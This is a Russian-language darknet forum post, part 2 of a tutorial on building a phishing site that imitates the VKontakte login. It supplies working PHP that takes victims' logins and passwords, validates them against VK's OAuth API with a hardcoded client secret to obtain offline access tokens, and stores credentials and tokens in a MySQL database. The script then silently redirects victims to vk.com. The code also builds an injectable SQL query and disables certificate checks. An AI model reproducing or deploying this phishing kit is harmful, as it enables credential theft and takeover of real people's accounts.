API ВКонтакте: пилим простенький фишинг [Часть 2]

  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

Morty

VIP

Morty

VIP
26 Окт 2017
537
113
Доброго времени суток, дорогие форумчане! Продолжаем тему создания фишинг сайта ВК. В данной части создадим БД и будем записывать туда все валид данные, приходящие от HTML формы. А так же сделаем редирект на vk.com после успешной авторизации. Поехали.
Дисклаймер
Материал предоставлен для ознакомления. Автор не побуждает совершать действия, описанные ниже. В статье упоминаются некоторые онлайн сервисы, что не является рекламой.


Создадим БД. Переходим на хостинге в PhpMyAdmin и нажимаем "Создать".
2e560a7a46ef699d7aa92857b9e7f754._.png
В таблице БД будет 5 столбцов: id, Логин (login), Пароль (password), Токен (token) и Дата (date). Назовем таблицу "vk", количество столбцов зададим 5 и нажмем "Вперед"
ddbf0d3aa0dc8ee49ed3460774cdde52._.png
Далее все параметры и имена зададим, как на картинке
ecd326ee2905138cf9a64b2a63aabcd9._.png
В параметрах столбца id должен быть отмечен параметр "A_I" (auto_increment) и стоять PRIMARY KEY. Получится примерно вот что
e8f42da3c83b0a300c815eb397b2d020._.png
Надеюсь, вы помните весь тот код в login.php, что мы писали в прошлой части? На всякий случай я продублирую
[SRC]
<?php
//Создадим headers
$headers = array(
'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'content-type' => 'application/x-www-form-urlencoded',
'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36'
);
//Запишем сюда значения логина и пароля из HTML формы
$login = $_POST['login'];
$password = $_POST['password'];
//Если какое-то поле оказалось пустым
if (empty($login) or empty($password))
{
//Отправим пользователя на стартовую страницу authorize и просигнализируем об ошибке
header('Location: /authorize.php?error_login=true');
exit;
}
else
{
//Если все поля заполнены, то посылаем запрос на получение токена по нашей ссылке выше
$get_token = post ('https://api.vk.com/oauth/token?grant_type=password&client_id=2274003&scope=offline&client_secret=hHbZxrka2uZ6jB1inYsH&username='.$login.'&password='.$password.'' ,array(
'headers' => array(
'accept: '.$headers['accept'],
'content-type: '.$headers['content-type'],
'user-agent: '.$headers['user-agent']
)
));
//Если авторизация прошла успешно, то отобразим полученный токен
if (preg_match("/[a-z0-9]{85}/", $get_token['headers'], $token))
{
echo "token=".$token[0];
echo "<br>login=".$login;
echo "<br>password=".$password;
exit;
}
//Если авторизация не прошла, то отправим пользователя на стартовую страницу с ошибкой
else header('Location: /authorize.php?error_login=true');
}
//cUrl POST
function post($url = null, $params = null, $proxy = null, $proxy_userpwd = null) {
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);

if(isset($params['params'])) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params['params']);
}

if(isset($params['headers'])) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $params['headers']);
}

if(isset($params['cookies'])) {
curl_setopt($ch, CURLOPT_COOKIE, $params['cookies']);
}

if($proxy) {
curl_setopt($ch, CURLOPT_PROXY, $proxy);

if($proxy_userpwd) {
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy_userpwd);
}
}

$result = curl_exec($ch);
$result_explode = explode("\r\n\r\n", $result);

$headers = ((isset($result_explode[0])) ? $result_explode[0]."\r\n" : '').''.((isset($result_explode[1])) ? $result_explode[1] : '');
$content = $result_explode[count($result_explode) - 1];


preg_match_all('|Set-Cookie: (.*);|U', $headers, $parse_cookies);

$cookies = implode(';', $parse_cookies[1]);

curl_close($ch);

return array('headers' => $headers, 'cookies' => $cookies, 'content' => $content);
}
?>
[/SRC]
Теперь пришло время подключить наш скрипт к БД. Пропишем эти строки
[SRC]
//Записываем в переменную текущую дату и время сервера
$date_l = date("H:i:s d-m-Y");
//Подключаемся к БД, которую только что создали
$host="localhost";
$user="root"; //Имя пользователя от MySql
$pass=""; //Пароль от MySql
$db_name="nec_info"; //Имя базы
$link=mysql_connect($host,$user,$pass);
mysql_select_db($db_name,$link);
mysql_query("set names utf8");
//Выполняем запись валида в БД
$sql = mysql_query("INSERT INTO /*Имя вашей таблицы...моя называется "vk" */vk(login, password, token, date) VALUES('".$login."','".$password."','".$token[0]."','".$date_l."')");
//Если все прошло успешно, то перенаправляем пользователя на vk.com
if ($sql) {
header('Location: https://vk.com/');
//Если при записи обнаружены ошибки, то перенаправим пользователя на главную страницу нашего сайта с сообщением об ошибке
} else header('Location: /authorize.php?error_login=true');
//Закрываем соединение
mysql_close($link);
exit;
[/SRC]
вместо
[SRC]
echo "token=".$token[0];
echo "<br>login=".$login;
echo "<br>password=".$password;
exit;

[/SRC]

Проверяем. Открываем наш сайт страницу authorize.php, вводим логин и пароль...и нас переадресует на vk.com. Это значит, что мы все настроили правильно и теперь в БД записываются все валидные данные с фейковой странички. Зайдем в БД и проверим
97dcf0fc8b5023cb5b2c49141fdad1f7._.png
Да, все верно, данные записались. На этом пока все, дорогие друзья, спасибо за прочтение. Надеюсь эта информация была для вас полезна!
 

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2022

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя